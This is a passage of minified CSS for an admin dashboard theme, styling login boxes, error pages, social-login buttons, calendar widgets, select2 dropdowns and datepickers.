(max-width:768px){.login-box,.register-box{width:90%;margin-top:20px}}.login-box-body,.register-box-body{background:#fff;padding:20px;border-top:0;color:#666}.login-box-body .form-control-feedback,.register-box-body .form-control-feedback{color:#777}.login-box-msg,.register-box-msg{margin:0;text-align:center;padding:0 20px 20px}.social-auth-links{margin:10px 0}.error-page{width:600px;margin:20px auto 0}@media (max-width:991px){.error-page{width:100%}}.error-page>.headline{float:left;font-size:100px;font-weight:300}@media (max-width:991px){.error-page>.headline{float:none;text-align:center}}.error-page>.error-content{margin-left:190px;display:block}@media (max-width:991px){.error-page>.error-content{margin-left:0}}.error-page>.error-content>h3{font-weight:300;font-size:25px}@media (max-width:991px){.error-page>.error-content>h3{text-align:center}}.invoice{position:relative;background:#fff;border:1px solid #f4f4f4;padding:20px;margin:10px 25px}.invoice-title{margin-top:0}.profile-user-img{margin:0 auto;width:100px;padding:3px;border:3px solid #d2d6de}.profile-username{font-size:21px;margin-top:5px}.post{border-bottom:1px solid #d2d6de;margin-bottom:15px;padding-bottom:15px;color:#666}.post:last-of-type{border-bottom:0;margin-bottom:0;padding-bottom:0}.post .user-block{margin-bottom:15px}.btn-social{position:relative;padding-left:44px;text-align:left;white-space:nowrap;overflow:hidden;text-overflow:ellipsis}.btn-social>:first-child{position:absolute;left:0;top:0;bottom:0;width:32px;line-height:34px;font-size:1.6em;text-align:center;border-right:1px solid rgba(0,0,0,.2)}.btn-social.btn-lg{padding-left:61px}.btn-social.btn-lg>:first-child{line-height:45px;width:45px;font-size:1.8em}.btn-social.btn-sm{padding-left:38px}.btn-social.btn-sm>:first-child{line-height:28px;width:28px;font-size:1.4em}.btn-social.btn-xs{padding-left:30px}.btn-social.btn-xs>:first-child{line-height:20px;width:20px;font-size:1.2em}.btn-social-icon{position:relative;text-align:left;white-space:nowrap;overflow:hidden;text-overflow:ellipsis;height:34px;width:34px;padding:0}.btn-social-icon>:first-child{position:absolute;left:0;top:0;bottom:0;width:32px;line-height:34px;font-size:1.6em;border-right:1px solid rgba(0,0,0,.2)}.btn-social-icon.btn-lg{padding-left:61px}.btn-social-icon.btn-lg>:first-child{line-height:45px;width:45px;font-size:1.8em}.btn-social-icon.btn-sm{padding-left:38px}.btn-social-icon.btn-sm>:first-child{line-height:28px;width:28px;font-size:1.4em}.btn-social-icon.btn-xs{padding-left:30px}.btn-social-icon.btn-xs>:first-child{line-height:20px;width:20px;font-size:1.2em}.btn-social-icon>:first-child{border:none;text-align:center;width:100%}.btn-social-icon.btn-lg{height:45px;width:45px;padding-left:0;padding-right:0}.btn-social-icon.btn-sm{height:30px;width:30px;padding-left:0;padding-right:0}.btn-social-icon.btn-xs{height:22px;width:22px;padding-left:0;padding-right:0}.btn-adn{color:#fff;background-color:#d87a68;border-color:rgba(0,0,0,.2)}.btn-adn.active,.btn-adn.focus,.btn-adn:active,.btn-adn:focus,.btn-adn:hover,.open>.dropdown-toggle.btn-adn{color:#fff;background-color:#ce563f;border-color:rgba(0,0,0,.2)}.btn-adn.active.focus,.btn-adn.active:focus,.btn-adn.active:hover,.btn-adn:active.focus,.btn-adn:active:focus,.btn-adn:active:hover,.open>.dropdown-toggle.btn-adn.focus,.open>.dropdown-toggle.btn-adn:focus,.open>.dropdown-toggle.btn-adn:hover{color:#fff;background-color:#b94630;border-color:rgba(0,0,0,.2)}.btn-adn.active,.btn-adn:active,.open>.dropdown-toggle.btn-adn{background-image:none}.btn-adn.disabled.focus,.btn-adn.disabled:focus,.btn-adn.disabled:hover,.btn-adn[disabled].focus,.btn-adn[disabled]:focus,.btn-adn[disabled]:hover,fieldset[disabled] .btn-adn.focus,fieldset[disabled] .btn-adn:focus,fieldset[disabled] .btn-adn:hover{background-color:#d87a68;border-color:rgba(0,0,0,.2)}.btn-adn .badge{color:#d87a68;background-color:#fff}.btn-bitbucket{color:#fff;background-color:#205081;border-color:rgba(0,0,0,.2)}.btn-bitbucket.active,.btn-bitbucket.focus,.btn-bitbucket:active,.btn-bitbucket:focus,.btn-bitbucket:hover,.open>.dropdown-toggle.btn-bitbucket{color:#fff;background-color:#163758;border-color:rgba(0,0,0,.2)}.btn-bitbucket.active.focus,.btn-bitbucket.active:focus,.btn-bitbucket.active:hover,.btn-bitbucket:active.focus,.btn-bitbucket:active:focus,.btn-bitbucket:active:hover,.open>.dropdown-toggle.btn-bitbucket.focus,.open>.dropdown-toggle.btn-bitbucket:focus,.open>.dropdown-toggle.btn-bitbucket:hover{color:#fff;background-color:#0f253c;border-color:rgba(0,0,0,.2)}.btn-bitbucket.active,.btn-bitbucket:active,.open>.dropdown-toggle.btn-bitbucket{background-image:none}.btn-bitbucket.disabled.focus,.btn-bitbucket.disabled:focus,.btn-bitbucket.disabled:hover,.btn-bitbucket[disabled].focus,.btn-bitbucket[disabled]:focus,.btn-bitbucket[disabled]:hover,fieldset[disabled] .btn-bitbucket.focus,fieldset[disabled] .btn-bitbucket:focus,fieldset[disabled] .btn-bitbucket:hover{background-color:#205081;border-color:rgba(0,0,0,.2)}.btn-bitbucket .badge{color:#205081;background-color:#fff}.btn-dropbox{color:#fff;background-color:#1087dd;border-color:rgba(0,0,0,.2)}.btn-dropbox.active,.btn-dropbox.focus,.btn-dropbox:active,.btn-dropbox:focus,.btn-dropbox:hover,.open>.dropdown-toggle.btn-dropbox{color:#fff;background-color:#0d6aad;border-color:rgba(0,0,0,.2)}.btn-dropbox.active.focus,.btn-dropbox.active:focus,.btn-dropbox.active:hover,.btn-dropbox:active.focus,.btn-dropbox:active:focus,.btn-dropbox:active:hover,.open>.dropdown-toggle.btn-dropbox.focus,.open>.dropdown-toggle.btn-dropbox:focus,.open>.dropdown-toggle.btn-dropbox:hover{color:#fff;background-color:#0a568c;border-color:rgba(0,0,0,.2)}.btn-dropbox.active,.btn-dropbox:active,.open>.dropdown-toggle.btn-dropbox{background-image:none}.btn-dropbox.disabled.focus,.btn-dropbox.disabled:focus,.btn-dropbox.disabled:hover,.btn-dropbox[disabled].focus,.btn-dropbox[disabled]:focus,.btn-dropbox[disabled]:hover,fieldset[disabled] .btn-dropbox.focus,fieldset[disabled] .btn-dropbox:focus,fieldset[disabled] .btn-dropbox:hover{background-color:#1087dd;border-color:rgba(0,0,0,.2)}.btn-dropbox .badge{color:#1087dd;background-color:#fff}.btn-facebook{color:#fff;background-color:#3b5998;border-color:rgba(0,0,0,.2)}.btn-facebook.active,.btn-facebook.focus,.btn-facebook:active,.btn-facebook:focus,.btn-facebook:hover,.open>.dropdown-toggle.btn-facebook{color:#fff;background-color:#2d4373;border-color:rgba(0,0,0,.2)}.btn-facebook.active.focus,.btn-facebook.active:focus,.btn-facebook.active:hover,.btn-facebook:active.focus,.btn-facebook:active:focus,.btn-facebook:active:hover,.open>.dropdown-toggle.btn-facebook.focus,.open>.dropdown-toggle.btn-facebook:focus,.open>.dropdown-toggle.btn-facebook:hover{color:#fff;background-color:#23345a;border-color:rgba(0,0,0,.2)}.btn-facebook.active,.btn-facebook:active,.open>.dropdown-toggle.btn-facebook{background-image:none}.btn-facebook.disabled.focus,.btn-facebook.disabled:focus,.btn-facebook.disabled:hover,.btn-facebook[disabled].focus,.btn-facebook[disabled]:focus,.btn-facebook[disabled]:hover,fieldset[disabled] .btn-facebook.focus,fieldset[disabled] .btn-facebook:focus,fieldset[disabled] .btn-facebook:hover{background-color:#3b5998;border-color:rgba(0,0,0,.2)}.btn-facebook .badge{color:#3b5998;background-color:#fff}.btn-flickr{color:#fff;background-color:#ff0084;border-color:rgba(0,0,0,.2)}.btn-flickr.active,.btn-flickr.focus,.btn-flickr:active,.btn-flickr:focus,.btn-flickr:hover,.open>.dropdown-toggle.btn-flickr{color:#fff;background-color:#cc006a;border-color:rgba(0,0,0,.2)}.btn-flickr.active.focus,.btn-flickr.active:focus,.btn-flickr.active:hover,.btn-flickr:active.focus,.btn-flickr:active:focus,.btn-flickr:active:hover,.open>.dropdown-toggle.btn-flickr.focus,.open>.dropdown-toggle.btn-flickr:focus,.open>.dropdown-toggle.btn-flickr:hover{color:#fff;background-color:#a80057;border-color:rgba(0,0,0,.2)}.btn-flickr.active,.btn-flickr:active,.open>.dropdown-toggle.btn-flickr{background-image:none}.btn-flickr.disabled.focus,.btn-flickr.disabled:focus,.btn-flickr.disabled:hover,.btn-flickr[disabled].focus,.btn-flickr[disabled]:focus,.btn-flickr[disabled]:hover,fieldset[disabled] .btn-flickr.focus,fieldset[disabled] .btn-flickr:focus,fieldset[disabled] .btn-flickr:hover{background-color:#ff0084;border-color:rgba(0,0,0,.2)}.btn-flickr .badge{color:#ff0084;background-color:#fff}.btn-foursquare{color:#fff;background-color:#f94877;border-color:rgba(0,0,0,.2)}.btn-foursquare.active,.btn-foursquare.focus,.btn-foursquare:active,.btn-foursquare:focus,.btn-foursquare:hover,.open>.dropdown-toggle.btn-foursquare{color:#fff;background-color:#f71752;border-color:rgba(0,0,0,.2)}.btn-foursquare.active.focus,.btn-foursquare.active:focus,.btn-foursquare.active:hover,.btn-foursquare:active.focus,.btn-foursquare:active:focus,.btn-foursquare:active:hover,.open>.dropdown-toggle.btn-foursquare.focus,.open>.dropdown-toggle.btn-foursquare:focus,.open>.dropdown-toggle.btn-foursquare:hover{color:#fff;background-color:#e30742;border-color:rgba(0,0,0,.2)}.btn-foursquare.active,.btn-foursquare:active,.open>.dropdown-toggle.btn-foursquare{background-image:none}.btn-foursquare.disabled.focus,.btn-foursquare.disabled:focus,.btn-foursquare.disabled:hover,.btn-foursquare[disabled].focus,.btn-foursquare[disabled]:focus,.btn-foursquare[disabled]:hover,fieldset[disabled] .btn-foursquare.focus,fieldset[disabled] .btn-foursquare:focus,fieldset[disabled] .btn-foursquare:hover{background-color:#f94877;border-color:rgba(0,0,0,.2)}.btn-foursquare .badge{color:#f94877;background-color:#fff}.btn-github{color:#fff;background-color:#444;border-color:rgba(0,0,0,.2)}.btn-github.active,.btn-github.focus,.btn-github:active,.btn-github:focus,.btn-github:hover,.open>.dropdown-toggle.btn-github{color:#fff;background-color:#2b2b2b;border-color:rgba(0,0,0,.2)}.btn-github.active.focus,.btn-github.active:focus,.btn-github.active:hover,.btn-github:active.focus,.btn-github:active:focus,.btn-github:active:hover,.open>.dropdown-toggle.btn-github.focus,.open>.dropdown-toggle.btn-github:focus,.open>.dropdown-toggle.btn-github:hover{color:#fff;background-color:#191919;border-color:rgba(0,0,0,.2)}.btn-github.active,.btn-github:active,.open>.dropdown-toggle.btn-github{background-image:none}.btn-github.disabled.focus,.btn-github.disabled:focus,.btn-github.disabled:hover,.btn-github[disabled].focus,.btn-github[disabled]:focus,.btn-github[disabled]:hover,fieldset[disabled] .btn-github.focus,fieldset[disabled] .btn-github:focus,fieldset[disabled] .btn-github:hover{background-color:#444;border-color:rgba(0,0,0,.2)}.btn-github .badge{color:#444;background-color:#fff}.btn-google{color:#fff;background-color:#dd4b39;border-color:rgba(0,0,0,.2)}.btn-google.active,.btn-google.focus,.btn-google:active,.btn-google:focus,.btn-google:hover,.open>.dropdown-toggle.btn-google{color:#fff;background-color:#c23321;border-color:rgba(0,0,0,.2)}.btn-google.active.focus,.btn-google.active:focus,.btn-google.active:hover,.btn-google:active.focus,.btn-google:active:focus,.btn-google:active:hover,.open>.dropdown-toggle.btn-google.focus,.open>.dropdown-toggle.btn-google:focus,.open>.dropdown-toggle.btn-google:hover{color:#fff;background-color:#a32b1c;border-color:rgba(0,0,0,.2)}.btn-google.active,.btn-google:active,.open>.dropdown-toggle.btn-google{background-image:none}.btn-google.disabled.focus,.btn-google.disabled:focus,.btn-google.disabled:hover,.btn-google[disabled].focus,.btn-google[disabled]:focus,.btn-google[disabled]:hover,fieldset[disabled] .btn-google.focus,fieldset[disabled] .btn-google:focus,fieldset[disabled] .btn-google:hover{background-color:#dd4b39;border-color:rgba(0,0,0,.2)}.btn-google .badge{color:#dd4b39;background-color:#fff}.btn-instagram{color:#fff;background-color:#3f729b;border-color:rgba(0,0,0,.2)}.btn-instagram.active,.btn-instagram.focus,.btn-instagram:active,.btn-instagram:focus,.btn-instagram:hover,.open>.dropdown-toggle.btn-instagram{color:#fff;background-color:#305777;border-color:rgba(0,0,0,.2)}.btn-instagram.active.focus,.btn-instagram.active:focus,.btn-instagram.active:hover,.btn-instagram:active.focus,.btn-instagram:active:focus,.btn-instagram:active:hover,.open>.dropdown-toggle.btn-instagram.focus,.open>.dropdown-toggle.btn-instagram:focus,.open>.dropdown-toggle.btn-instagram:hover{color:#fff;background-color:#26455d;border-color:rgba(0,0,0,.2)}.btn-instagram.active,.btn-instagram:active,.open>.dropdown-toggle.btn-instagram{background-image:none}.btn-instagram.disabled.focus,.btn-instagram.disabled:focus,.btn-instagram.disabled:hover,.btn-instagram[disabled].focus,.btn-instagram[disabled]:focus,.btn-instagram[disabled]:hover,fieldset[disabled] .btn-instagram.focus,fieldset[disabled] .btn-instagram:focus,fieldset[disabled] .btn-instagram:hover{background-color:#3f729b;border-color:rgba(0,0,0,.2)}.btn-instagram .badge{color:#3f729b;background-color:#fff}.btn-linkedin{color:#fff;background-color:#007bb6;border-color:rgba(0,0,0,.2)}.btn-linkedin.active,.btn-linkedin.focus,.btn-linkedin:active,.btn-linkedin:focus,.btn-linkedin:hover,.open>.dropdown-toggle.btn-linkedin{color:#fff;background-color:#005983;border-color:rgba(0,0,0,.2)}.btn-linkedin.active.focus,.btn-linkedin.active:focus,.btn-linkedin.active:hover,.btn-linkedin:active.focus,.btn-linkedin:active:focus,.btn-linkedin:active:hover,.open>.dropdown-toggle.btn-linkedin.focus,.open>.dropdown-toggle.btn-linkedin:focus,.open>.dropdown-toggle.btn-linkedin:hover{color:#fff;background-color:#00405f;border-color:rgba(0,0,0,.2)}.btn-linkedin.active,.btn-linkedin:active,.open>.dropdown-toggle.btn-linkedin{background-image:none}.btn-linkedin.disabled.focus,.btn-linkedin.disabled:focus,.btn-linkedin.disabled:hover,.btn-linkedin[disabled].focus,.btn-linkedin[disabled]:focus,.btn-linkedin[disabled]:hover,fieldset[disabled] .btn-linkedin.focus,fieldset[disabled] .btn-linkedin:focus,fieldset[disabled] .btn-linkedin:hover{background-color:#007bb6;border-color:rgba(0,0,0,.2)}.btn-linkedin .badge{color:#007bb6;background-color:#fff}.btn-microsoft{color:#fff;background-color:#2672ec;border-color:rgba(0,0,0,.2)}.btn-microsoft.active,.btn-microsoft.focus,.btn-microsoft:active,.btn-microsoft:focus,.btn-microsoft:hover,.open>.dropdown-toggle.btn-microsoft{color:#fff;background-color:#125acd;border-color:rgba(0,0,0,.2)}.btn-microsoft.active.focus,.btn-microsoft.active:focus,.btn-microsoft.active:hover,.btn-microsoft:active.focus,.btn-microsoft:active:focus,.btn-microsoft:active:hover,.open>.dropdown-toggle.btn-microsoft.focus,.open>.dropdown-toggle.btn-microsoft:focus,.open>.dropdown-toggle.btn-microsoft:hover{color:#fff;background-color:#0f4bac;border-color:rgba(0,0,0,.2)}.btn-microsoft.active,.btn-microsoft:active,.open>.dropdown-toggle.btn-microsoft{background-image:none}.btn-microsoft.disabled.focus,.btn-microsoft.disabled:focus,.btn-microsoft.disabled:hover,.btn-microsoft[disabled].focus,.btn-microsoft[disabled]:focus,.btn-microsoft[disabled]:hover,fieldset[disabled] .btn-microsoft.focus,fieldset[disabled] .btn-microsoft:focus,fieldset[disabled] .btn-microsoft:hover{background-color:#2672ec;border-color:rgba(0,0,0,.2)}.btn-microsoft .badge{color:#2672ec;background-color:#fff}.btn-openid{color:#fff;background-color:#f7931e;border-color:rgba(0,0,0,.2)}.btn-openid.active,.btn-openid.focus,.btn-openid:active,.btn-openid:focus,.btn-openid:hover,.open>.dropdown-toggle.btn-openid{color:#fff;background-color:#da7908;border-color:rgba(0,0,0,.2)}.btn-openid.active.focus,.btn-openid.active:focus,.btn-openid.active:hover,.btn-openid:active.focus,.btn-openid:active:focus,.btn-openid:active:hover,.open>.dropdown-toggle.btn-openid.focus,.open>.dropdown-toggle.btn-openid:focus,.open>.dropdown-toggle.btn-openid:hover{color:#fff;background-color:#b86607;border-color:rgba(0,0,0,.2)}.btn-openid.active,.btn-openid:active,.open>.dropdown-toggle.btn-openid{background-image:none}.btn-openid.disabled.focus,.btn-openid.disabled:focus,.btn-openid.disabled:hover,.btn-openid[disabled].focus,.btn-openid[disabled]:focus,.btn-openid[disabled]:hover,fieldset[disabled] .btn-openid.focus,fieldset[disabled] .btn-openid:focus,fieldset[disabled] .btn-openid:hover{background-color:#f7931e;border-color:rgba(0,0,0,.2)}.btn-openid .badge{color:#f7931e;background-color:#fff}.btn-pinterest{color:#fff;background-color:#cb2027;border-color:rgba(0,0,0,.2)}.btn-pinterest.active,.btn-pinterest.focus,.btn-pinterest:active,.btn-pinterest:focus,.btn-pinterest:hover,.open>.dropdown-toggle.btn-pinterest{color:#fff;background-color:#9f191f;border-color:rgba(0,0,0,.2)}.btn-pinterest.active.focus,.btn-pinterest.active:focus,.btn-pinterest.active:hover,.btn-pinterest:active.focus,.btn-pinterest:active:focus,.btn-pinterest:active:hover,.open>.dropdown-toggle.btn-pinterest.focus,.open>.dropdown-toggle.btn-pinterest:focus,.open>.dropdown-toggle.btn-pinterest:hover{color:#fff;background-color:#801419;border-color:rgba(0,0,0,.2)}.btn-pinterest.active,.btn-pinterest:active,.open>.dropdown-toggle.btn-pinterest{background-image:none}.btn-pinterest.disabled.focus,.btn-pinterest.disabled:focus,.btn-pinterest.disabled:hover,.btn-pinterest[disabled].focus,.btn-pinterest[disabled]:focus,.btn-pinterest[disabled]:hover,fieldset[disabled] .btn-pinterest.focus,fieldset[disabled] .btn-pinterest:focus,fieldset[disabled] .btn-pinterest:hover{background-color:#cb2027;border-color:rgba(0,0,0,.2)}.btn-pinterest .badge{color:#cb2027;background-color:#fff}.btn-reddit{color:#000;background-color:#eff7ff;border-color:rgba(0,0,0,.2)}.btn-reddit.active,.btn-reddit.focus,.btn-reddit:active,.btn-reddit:focus,.btn-reddit:hover,.open>.dropdown-toggle.btn-reddit{color:#000;background-color:#bcddff;border-color:rgba(0,0,0,.2)}.btn-reddit.active.focus,.btn-reddit.active:focus,.btn-reddit.active:hover,.btn-reddit:active.focus,.btn-reddit:active:focus,.btn-reddit:active:hover,.open>.dropdown-toggle.btn-reddit.focus,.open>.dropdown-toggle.btn-reddit:focus,.open>.dropdown-toggle.btn-reddit:hover{color:#000;background-color:#98ccff;border-color:rgba(0,0,0,.2)}.btn-reddit.active,.btn-reddit:active,.open>.dropdown-toggle.btn-reddit{background-image:none}.btn-reddit.disabled.focus,.btn-reddit.disabled:focus,.btn-reddit.disabled:hover,.btn-reddit[disabled].focus,.btn-reddit[disabled]:focus,.btn-reddit[disabled]:hover,fieldset[disabled] .btn-reddit.focus,fieldset[disabled] .btn-reddit:focus,fieldset[disabled] .btn-reddit:hover{background-color:#eff7ff;border-color:rgba(0,0,0,.2)}.btn-reddit .badge{color:#eff7ff;background-color:#000}.btn-soundcloud{color:#fff;background-color:#f50;border-color:rgba(0,0,0,.2)}.btn-soundcloud.active,.btn-soundcloud.focus,.btn-soundcloud:active,.btn-soundcloud:focus,.btn-soundcloud:hover,.open>.dropdown-toggle.btn-soundcloud{color:#fff;background-color:#c40;border-color:rgba(0,0,0,.2)}.btn-soundcloud.active.focus,.btn-soundcloud.active:focus,.btn-soundcloud.active:hover,.btn-soundcloud:active.focus,.btn-soundcloud:active:focus,.btn-soundcloud:active:hover,.open>.dropdown-toggle.btn-soundcloud.focus,.open>.dropdown-toggle.btn-soundcloud:focus,.open>.dropdown-toggle.btn-soundcloud:hover{color:#fff;background-color:#a83800;border-color:rgba(0,0,0,.2)}.btn-soundcloud.active,.btn-soundcloud:active,.open>.dropdown-toggle.btn-soundcloud{background-image:none}.btn-soundcloud.disabled.focus,.btn-soundcloud.disabled:focus,.btn-soundcloud.disabled:hover,.btn-soundcloud[disabled].focus,.btn-soundcloud[disabled]:focus,.btn-soundcloud[disabled]:hover,fieldset[disabled] .btn-soundcloud.focus,fieldset[disabled] .btn-soundcloud:focus,fieldset[disabled] .btn-soundcloud:hover{background-color:#f50;border-color:rgba(0,0,0,.2)}.btn-soundcloud .badge{color:#f50;background-color:#fff}.btn-tumblr{color:#fff;background-color:#2c4762;border-color:rgba(0,0,0,.2)}.btn-tumblr.active,.btn-tumblr.focus,.btn-tumblr:active,.btn-tumblr:focus,.btn-tumblr:hover,.open>.dropdown-toggle.btn-tumblr{color:#fff;background-color:#1c2d3f;border-color:rgba(0,0,0,.2)}.btn-tumblr.active.focus,.btn-tumblr.active:focus,.btn-tumblr.active:hover,.btn-tumblr:active.focus,.btn-tumblr:active:focus,.btn-tumblr:active:hover,.open>.dropdown-toggle.btn-tumblr.focus,.open>.dropdown-toggle.btn-tumblr:focus,.open>.dropdown-toggle.btn-tumblr:hover{color:#fff;background-color:#111c26;border-color:rgba(0,0,0,.2)}.btn-tumblr.active,.btn-tumblr:active,.open>.dropdown-toggle.btn-tumblr{background-image:none}.btn-tumblr.disabled.focus,.btn-tumblr.disabled:focus,.btn-tumblr.disabled:hover,.btn-tumblr[disabled].focus,.btn-tumblr[disabled]:focus,.btn-tumblr[disabled]:hover,fieldset[disabled] .btn-tumblr.focus,fieldset[disabled] .btn-tumblr:focus,fieldset[disabled] .btn-tumblr:hover{background-color:#2c4762;border-color:rgba(0,0,0,.2)}.btn-tumblr .badge{color:#2c4762;background-color:#fff}.btn-twitter{color:#fff;background-color:#55acee;border-color:rgba(0,0,0,.2)}.btn-twitter.active,.btn-twitter.focus,.btn-twitter:active,.btn-twitter:focus,.btn-twitter:hover,.open>.dropdown-toggle.btn-twitter{color:#fff;background-color:#2795e9;border-color:rgba(0,0,0,.2)}.btn-twitter.active.focus,.btn-twitter.active:focus,.btn-twitter.active:hover,.btn-twitter:active.focus,.btn-twitter:active:focus,.btn-twitter:active:hover,.open>.dropdown-toggle.btn-twitter.focus,.open>.dropdown-toggle.btn-twitter:focus,.open>.dropdown-toggle.btn-twitter:hover{color:#fff;background-color:#1583d7;border-color:rgba(0,0,0,.2)}.btn-twitter.active,.btn-twitter:active,.open>.dropdown-toggle.btn-twitter{background-image:none}.btn-twitter.disabled.focus,.btn-twitter.disabled:focus,.btn-twitter.disabled:hover,.btn-twitter[disabled].focus,.btn-twitter[disabled]:focus,.btn-twitter[disabled]:hover,fieldset[disabled] .btn-twitter.focus,fieldset[disabled] .btn-twitter:focus,fieldset[disabled] .btn-twitter:hover{background-color:#55acee;border-color:rgba(0,0,0,.2)}.btn-twitter .badge{color:#55acee;background-color:#fff}.btn-vimeo{color:#fff;background-color:#1ab7ea;border-color:rgba(0,0,0,.2)}.btn-vimeo.active,.btn-vimeo.focus,.btn-vimeo:active,.btn-vimeo:focus,.btn-vimeo:hover,.open>.dropdown-toggle.btn-vimeo{color:#fff;background-color:#1295bf;border-color:rgba(0,0,0,.2)}.btn-vimeo.active.focus,.btn-vimeo.active:focus,.btn-vimeo.active:hover,.btn-vimeo:active.focus,.btn-vimeo:active:focus,.btn-vimeo:active:hover,.open>.dropdown-toggle.btn-vimeo.focus,.open>.dropdown-toggle.btn-vimeo:focus,.open>.dropdown-toggle.btn-vimeo:hover{color:#fff;background-color:#0f7b9f;border-color:rgba(0,0,0,.2)}.btn-vimeo.active,.btn-vimeo:active,.open>.dropdown-toggle.btn-vimeo{background-image:none}.btn-vimeo.disabled.focus,.btn-vimeo.disabled:focus,.btn-vimeo.disabled:hover,.btn-vimeo[disabled].focus,.btn-vimeo[disabled]:focus,.btn-vimeo[disabled]:hover,fieldset[disabled] .btn-vimeo.focus,fieldset[disabled] .btn-vimeo:focus,fieldset[disabled] .btn-vimeo:hover{background-color:#1ab7ea;border-color:rgba(0,0,0,.2)}.btn-vimeo .badge{color:#1ab7ea;background-color:#fff}.btn-vk{color:#fff;background-color:#587ea3;border-color:rgba(0,0,0,.2)}.btn-vk.active,.btn-vk.focus,.btn-vk:active,.btn-vk:focus,.btn-vk:hover,.open>.dropdown-toggle.btn-vk{color:#fff;background-color:#466482;border-color:rgba(0,0,0,.2)}.btn-vk.active.focus,.btn-vk.active:focus,.btn-vk.active:hover,.btn-vk:active.focus,.btn-vk:active:focus,.btn-vk:active:hover,.open>.dropdown-toggle.btn-vk.focus,.open>.dropdown-toggle.btn-vk:focus,.open>.dropdown-toggle.btn-vk:hover{color:#fff;background-color:#3a526b;border-color:rgba(0,0,0,.2)}.btn-vk.active,.btn-vk:active,.open>.dropdown-toggle.btn-vk{background-image:none}.btn-vk.disabled.focus,.btn-vk.disabled:focus,.btn-vk.disabled:hover,.btn-vk[disabled].focus,.btn-vk[disabled]:focus,.btn-vk[disabled]:hover,fieldset[disabled] .btn-vk.focus,fieldset[disabled] .btn-vk:focus,fieldset[disabled] .btn-vk:hover{background-color:#587ea3;border-color:rgba(0,0,0,.2)}.btn-vk .badge{color:#587ea3;background-color:#fff}.btn-yahoo{color:#fff;background-color:#720e9e;border-color:rgba(0,0,0,.2)}.btn-yahoo.active,.btn-yahoo.focus,.btn-yahoo:active,.btn-yahoo:focus,.btn-yahoo:hover,.open>.dropdown-toggle.btn-yahoo{color:#fff;background-color:#500a6f;border-color:rgba(0,0,0,.2)}.btn-yahoo.active.focus,.btn-yahoo.active:focus,.btn-yahoo.active:hover,.btn-yahoo:active.focus,.btn-yahoo:active:focus,.btn-yahoo:active:hover,.open>.dropdown-toggle.btn-yahoo.focus,.open>.dropdown-toggle.btn-yahoo:focus,.open>.dropdown-toggle.btn-yahoo:hover{color:#fff;background-color:#39074e;border-color:rgba(0,0,0,.2)}.btn-yahoo.active,.btn-yahoo:active,.open>.dropdown-toggle.btn-yahoo{background-image:none}.btn-yahoo.disabled.focus,.btn-yahoo.disabled:focus,.btn-yahoo.disabled:hover,.btn-yahoo[disabled].focus,.btn-yahoo[disabled]:focus,.btn-yahoo[disabled]:hover,fieldset[disabled] .btn-yahoo.focus,fieldset[disabled] .btn-yahoo:focus,fieldset[disabled] .btn-yahoo:hover{background-color:#720e9e;border-color:rgba(0,0,0,.2)}.btn-yahoo .badge{color:#720e9e;background-color:#fff}.fc-button{background:#f4f4f4;background-image:none;color:#444;border-color:#ddd}.fc-button.hover,.fc-button:active,.fc-button:hover{background-color:#e9e9e9}.fc-header-title h2{font-size:15px;line-height:1.6em;color:#666;margin-left:10px}.fc-header-right{padding-right:10px}.fc-header-left{padding-left:10px}.fc-widget-header{background:#fafafa}.fc-grid{width:100%;border:0}.fc-widget-content:first-of-type,.fc-widget-header:first-of-type{border-left:0;border-right:0}.fc-widget-content:last-of-type,.fc-widget-header:last-of-type{border-right:0}.fc-toolbar{padding:10px;margin:0}.fc-day-number{font-size:20px;font-weight:300;padding-right:10px}.fc-color-picker{list-style:none;margin:0;padding:0}.fc-color-picker>li{float:left;font-size:30px;margin-right:5px;line-height:30px}.fc-color-picker>li .fa{-webkit-transition:-webkit-transform .3s linear;-moz-transition:-moz-transform linear .3s;-o-transition:-o-transform linear .3s;transition:transform .3s linear}.fc-color-picker>li .fa:hover{-webkit-transform:rotate(30deg);-ms-transform:rotate(30deg);-o-transform:rotate(30deg);transform:rotate(30deg)}#add-new-event{-webkit-transition:all .3s linear;-o-transition:all linear .3s;transition:all .3s linear}.external-event{padding:5px 10px;font-weight:700;margin-bottom:4px;box-shadow:0 1px 1px rgba(0,0,0,.1);text-shadow:0 1px 1px rgba(0,0,0,.1);border-radius:3px;cursor:move}.external-event:hover{box-shadow:inset 0 0 90px rgba(0,0,0,.2)}.select2-container--default.select2-container--focus,.select2-container--default:active,.select2-container--default:focus,.select2-selection.select2-container--focus,.select2-selection:active,.select2-selection:focus{outline:none}.select2-container--default .select2-selection--single,.select2-selection .select2-selection--single{border:1px solid #d2d6de;border-radius:0;padding:6px 12px;height:34px}.select2-container--default.select2-container--open{border-color:#3c8dbc}.select2-dropdown{border:1px solid #d2d6de;border-radius:0}.select2-container--default .select2-results__option--highlighted[aria-selected]{background-color:#3c8dbc}.select2-results__option{padding:6px 12px}.select2-container .select2-selection--single .select2-selection__rendered{padding-left:0;padding-right:0;height:auto;margin-top:-4px}.select2-container[dir=rtl] .select2-selection--single .select2-selection__rendered{padding-right:6px}.select2-container--default .select2-selection--single .select2-selection__arrow{height:28px;right:3px}.select2-container--default .select2-selection--single .select2-selection__arrow b{margin-top:0}.select2-dropdown .select2-search__field,.select2-search--inline .select2-search__field{border:1px solid #d2d6de}.select2-dropdown .select2-search__field:focus,.select2-search--inline .select2-search__field:focus{outline:none}.select2-container--default.select2-container--focus .select2-selection--multiple,.select2-container--default .select2-search--dropdown .select2-search__field{border-color:#3c8dbc!important}.select2-container--default .select2-results__option[aria-selected=true],.select2-container--default .select2-results__option[aria-selected=true]:hover{color:#444}.select2-container--default .select2-selection--multiple{border:1px solid #d2d6de;border-radius:0}.select2-container--default .select2-selection--multiple:focus{border-color:#3c8dbc}.select2-container--default.select2-container--focus .select2-selection--multiple{border-color:#d2d6de}.select2-container--default .select2-selection--multiple .select2-selection__choice{background-color:#3c8dbc;border-color:#367fa9;padding:1px 10px;color:#fff}.select2-container--default .select2-selection--multiple .select2-selection__choice__remove{margin-right:5px;color:hsla(0,0%,100%,.7)}.select2-container--default .select2-selection--multiple .select2-selection__choice__remove:hover{color:#fff}.select2-container .select2-selection--single .select2-selection__rendered{padding-right:10px}.box .datepicker-inline,.box .datepicker-inline .datepicker-days,.box .datepicker-inline .datepicker-days>table,.box .datepicker-inline>table{width:100%}.box .datepicker-inline .datepicker-days>table td:hover,.box .datepicker-inline .datepicker-days td:hover,.box .datepicker-inline>table td:hover,.box .datepicker-inline td:hover{background-color:hsla(0,0%,100%,.3)}.box .datepicker-inline .datepicker-days>table td.day.new,.box .datepicker-inline .datepicker-days>table td.day.old,.box .datepicker-inline .datepicker-days td.day.new,.box 